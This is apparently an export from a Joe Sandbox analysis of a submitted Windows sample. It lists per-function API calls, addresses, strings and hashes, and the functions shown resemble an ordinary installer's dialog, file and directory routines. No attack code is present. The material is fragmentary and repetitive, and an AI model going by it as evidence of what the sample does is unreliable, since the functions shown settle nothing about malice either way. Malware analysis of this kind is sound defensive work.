Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

, xrefs: 00404F39
N, xrefs: 00404C06
M, xrefs: 00404B43
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

A, xrefs: 00404636
82D, xrefs: 004046DB
@rD, xrefs: 00404610
@%F, xrefs: 00404674

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
Delete: DeleteFile("%s"), xrefs: 00406DBC
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
\*.*, xrefs: 00406D03
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
